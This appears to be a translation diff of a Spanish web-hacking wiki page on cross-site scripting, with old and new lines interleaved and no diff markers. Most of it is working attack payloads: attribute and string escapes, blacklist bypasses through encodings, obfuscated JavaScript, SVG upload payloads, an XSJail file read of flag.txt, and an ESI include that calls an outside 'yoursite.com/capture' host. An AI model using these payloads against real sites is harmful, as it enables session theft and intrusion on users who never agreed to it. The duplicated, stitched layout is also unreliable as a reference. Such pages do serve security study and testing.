Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**.
## Inyectando dentro de la etiqueta HTML
## Injecting inside HTML tag
### Dentro de la etiqueta/escapando del valor del atributo
### Inside the tag/escaping from attribute value
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](#injecting-inside-raw-html) para ejecutar código JS.\
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
@ -351,7 +351,7 @@ _**En este caso, el truco de codificación HTML y el truco de codificación Unic
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada en URL antes de que se ejecute.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el **tiempo de ejecución.**
Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentro de `javascript:...` está siendo codificada en URL, será decodificada en URL antes de ser ejecutada.** Así que, si necesitas **escapar** de la **cadena** usando una **comilla simple** y ves que **está siendo codificada en URL**, recuerda que **no importa,** será **interpretada** como una **comilla simple** durante el **tiempo de ejecución.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -383,10 +383,10 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
../reverse-tab-nabbing.md
{{#endref}}
### sobre el Bypass de Controladores de Eventos
### sobre la elusión de controladores de eventos
Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" controladores de eventos**.\
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar las siguientes elusiones:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónica, meta)
### XSS en "Etiquetas no explotables" (input oculto, enlace, canónico, meta)
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de entradas ocultas con:**
Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de inputs ocultos con:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -430,7 +430,7 @@ Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields):
### Bypasses de lista negra
Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
Varios trucos con el uso de diferentes codificaciones ya se han expuesto en esta sección. Ve **de vuelta para aprender dónde puedes usar:**
- **Codificación HTML (etiquetas HTML)**
- **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
@ -486,12 +486,12 @@ Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se en
';alert(document.domain)//
\';alert(document.domain)//
```
### Literales de plantilla \`\`
### Template literals \`\`
Para construir **cadenas** además de comillas simples y dobles, JS también acepta **comillas invertidas** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando comillas invertidas, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\
Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**:
Esto se puede **abusar** usando:
Esto puede ser **abusado** usando:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -510,7 +510,7 @@ loop``
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
### Ejecución de JS codificada en Unicode
### Ejecución de JS con codificación Unicode
```javascript
alert(1)
alert(1)
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Saltos de línea de JavaScript (del** [**truco de saltos de línea de JavaScript**](#javascript-new-lines) **)**
**Saltos de línea de JavaScript (del** [**truco de salto de línea de JavaScript**](#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -749,11 +749,11 @@ dom-xss.md
Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
### Mejorando Self-XSS
### Mejora de Self-XSS
### Cookie XSS
Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de este XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los que son vulnerables a cookie XSS). Para esto puedes usar el ataque de cookie tossing:
Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de este XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los vulnerables a cookie XSS). Para esto puedes usar el ataque de cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -783,12 +783,12 @@ Podrías verificar si los **valores reflejados** están siendo **normalizados en
```
### Ruby-On-Rails bypass
Debido a **RoR mass assignment**, se insertan comillas en el HTML y luego se elude la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
Debido a la **asignación masiva de RoR**, se insertan comillas en el HTML y luego se elude la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\
Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)), si envías la carga útil:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
La pareja "Key","Value" se devolverá así:
El par "Key","Value" se devolverá así:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -829,7 +829,7 @@ document['default'+'View'][`\u0061lert`](3)
Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que simplemente una carga útil de cross-site scripting es inútil.
En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\
Protocolos conocidos en el pasado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.
Protocolos conocidos pasados: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`.
### Solo letras, números y puntos
@ -869,8 +869,10 @@ const char* const kSupportedJavascriptTypes[] = {
```html
<script type="???"></script>
```
- **módulo** (por defecto, nada que explicar)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
La respuesta es:
- **module** (predeterminado, nada que explicar)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un conjunto de datos (HTML, CSS, JS…) en un archivo **`.wbn`**.
```html
<script type="webbundle">
{
@ -899,7 +901,7 @@ import { partition } from "lodash"
```
Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para reasignar una biblioteca a eval para abusar de que puede desencadenar XSS.
- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta función está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
```html
<script type="speculationrules">
{
@ -915,22 +917,22 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y
}
</script>
```
### Tipos de Contenido Web para XSS
### Web Content-Types to XSS
(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? no está en la lista pero creo que vi esto en un CTF)
- application/rss+xml (apagado)
- application/atom+xml (apagado)
- text/plain (?? no está en la lista pero creo que lo vi en un CTF)
- application/rss+xml (off)
- application/atom+xml (off)
En otros navegadores, otros **`Content-Types`** pueden ser utilizados para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### Tipo de Contenido xml
### xml Content Type
Si la página está devolviendo un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario:
```xml
@ -954,7 +956,7 @@ chrome-cache-to-xss.md
### Escape de Cárceles XS
Si solo tienes un conjunto limitado de caracteres para usar, consulta estas otras soluciones válidas para problemas de XSJail:
Si solo tienes un conjunto limitado de caracteres para usar, verifica estas otras soluciones válidas para problemas de XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1051,11 +1053,10 @@ trigger()
- **Diferentes ofuscaciones en una página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
- Más sofisticado JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- Más sofistificado JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
- [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
- [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
- [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@ -1424,7 +1425,7 @@ abusing-service-workers.md
shadow-dom.md
{{#endref}}
### Polyglots
### Políglotas
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
@ -1534,7 +1535,7 @@ xss-in-markdown.md
### XSS a SSRF
¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con este payload:
¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con esta carga útil:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1556,6 +1557,14 @@ Si no puedes inyectar etiquetas HTML, podría valer la pena intentar **inyectar
pdf-injection.md
{{#endref}}
### XSS en Amp4Email
AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para garantizar la funcionalidad con un énfasis en la velocidad y la seguridad. Soporta una variedad de componentes para diversas características, accesibles a través de [AMP components](https://amp.dev/documentation/components/?format=websites).
El formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos electrónicos.
Ejemplo [**writeup XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS subiendo archivos (svg)
Sube como imagen un archivo como el siguiente (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
@ -1622,7 +1631,7 @@ Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheat
other-js-tricks.md
{{#endref}}
## Recursos XSS
## Recursos de XSS
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)